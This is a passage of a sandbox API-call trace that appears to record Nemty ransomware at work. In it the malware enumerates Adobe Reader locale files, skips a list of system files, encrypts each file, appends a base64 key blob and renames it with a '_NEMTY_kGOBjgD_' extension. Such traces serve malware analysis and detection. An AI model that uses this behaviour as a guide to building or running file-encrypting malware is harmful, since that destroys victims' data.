ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.CHS", cAlternateFileName="")) returned 1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2=".") returned 1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="..") returned 1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="...") returned 1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="windows") returned -1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="rsa") returned -1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="NTDETECT.COM") returned -1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="ntldr") returned -1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="MSDOS.SYS") returned -1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="IO.SYS") returned -1 [0185.801] lstrcmpiW (lpString1="Annots.CHS", lpString2="boot.ini") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="boot.ini") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="AUTOEXEC.BAT") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="ntuser.dat") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="desktop.ini") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="CONFIG.SYS") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="RECYCLER") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="BOOTSECT.BAK") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="bootmgr") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="programdata") returned -1 [0185.802] lstrcmpiW (lpString1="Annots.CHS", lpString2="appdata") returned -1 [0185.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.802] Sleep (dwMilliseconds=0x5) [0185.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2265de50, dwHighDateTime=0x1d561e8)) [0185.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2265de50, dwHighDateTime=0x1d561e8)) [0185.809] GetLastError () returned 0x0 [0185.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.809] GetLastError () returned 0x0 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.810] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.810] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.810] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="xwNhQpknWIyDMOlC+jHLudQf7EE1zai+wxdSXv1nJkkJhhBPU38J/WjGtAl9sT+8\r\nlZ0SJHepM0vxpv6nrXToViawqUSarGFp14+XPz90NAuCDmEZK9a1Z18eU0vxqXHN\r\nv3oYYGm0Lj1IJZ6I6xqlI5olMkNRWXjY94RFlEqwP2nFD4HTxNzri1DyY/RS0xX5\r\n4lx9l+8ujoKGdDdMHhe67TCtttiubdRavVPh8TsuMUt6P3uiDTD8MCAqJiRJ8DDU\r\nzpJiORPRwzqFZZuGUdMWGPnNTwLoJ/LHGo9VXPux8AvDUf8TtYb7HoCESsG3DR/s\r\nEe0fRcPKcwS0L6s1eBttHA==\r\n", pcchString=0x653e5dc) returned 1 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.810] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Annots.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\annots.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.810] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=311296) returned 1 [0185.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.811] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.811] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.820] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.820] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.820] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=311296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c000 [0185.821] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.821] CloseHandle (hObject=0x2e8) returned 1 [0185.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.822] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Annots.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\annots.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Annots.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\annots.chs._nemty_kgobjgd_")) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.823] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.CHS", cAlternateFileName="BRDLAN~1.CHS")) returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2=".") returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="..") returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="...") returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="windows") returned -1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="rsa") returned -1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="NTDETECT.COM") returned -1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="ntldr") returned -1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="MSDOS.SYS") returned -1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="IO.SYS") returned -1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="boot.ini") returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="boot.ini") returned 1 [0185.823] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="ntuser.dat") returned -1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="desktop.ini") returned -1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="CONFIG.SYS") returned -1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="RECYCLER") returned -1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="bootmgr") returned 1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="programdata") returned -1 [0185.824] lstrcmpiW (lpString1="BRdlang32.CHS", lpString2="appdata") returned 1 [0185.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHS", lpUsedDefaultChar=0x0) returned 13 [0185.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHS", lpUsedDefaultChar=0x0) returned 13 [0185.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHS", lpUsedDefaultChar=0x0) returned 13 [0185.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHS", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHS", lpUsedDefaultChar=0x0) returned 13 [0185.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.824] Sleep (dwMilliseconds=0x5) [0185.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22683fb0, dwHighDateTime=0x1d561e8)) [0185.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22683fb0, dwHighDateTime=0x1d561e8)) [0185.825] GetLastError () returned 0x0 [0185.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.825] GetLastError () returned 0x0 [0185.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.825] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.825] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.825] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.825] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ryEBScPEFUaN22dxlmoxix2cLS1cNv+6OU4kbRCIswaP6c+MLhra95tBxxNbflhJ\r\nCvN7OWm0hpuqbqzNNoIlYot4sIbdwQid76XNryg37MvM6uFXf2ISdAXFjwzGT5Ts\r\nSJC4ttiRfR3SSTH+/mNqJNOw8O/+VT8gbusG5cZ8BvPlet/g0zW5pkIDs89Khsrw\r\njxOF/7YW84zfVaVwlvzolEv3vBG2pp33IN0LD00ZFl91zXkjWQ2/6itUqIAS+BUx\r\no/ub0rftmsRUTJAMsn4ZymTePxdqkSv42qMappDuTUvC5RLnDANcxk6mZNxx6Nqg\r\n2k/YBL0ujz3ABIMCnQCAvw==\r\n", pcchString=0x653e5dc) returned 1 [0185.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\BRdlang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\brdlang32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.826] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7680) returned 1 [0185.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0185.826] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.826] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1e00, lpOverlapped=0x0) returned 1 [0185.828] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.828] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1e00, lpOverlapped=0x0) returned 1 [0185.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.828] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0185.828] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.828] CloseHandle (hObject=0x2e8) returned 1 [0185.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\BRdlang32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\brdlang32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\BRdlang32.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\brdlang32.chs._nemty_kgobjgd_")) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, 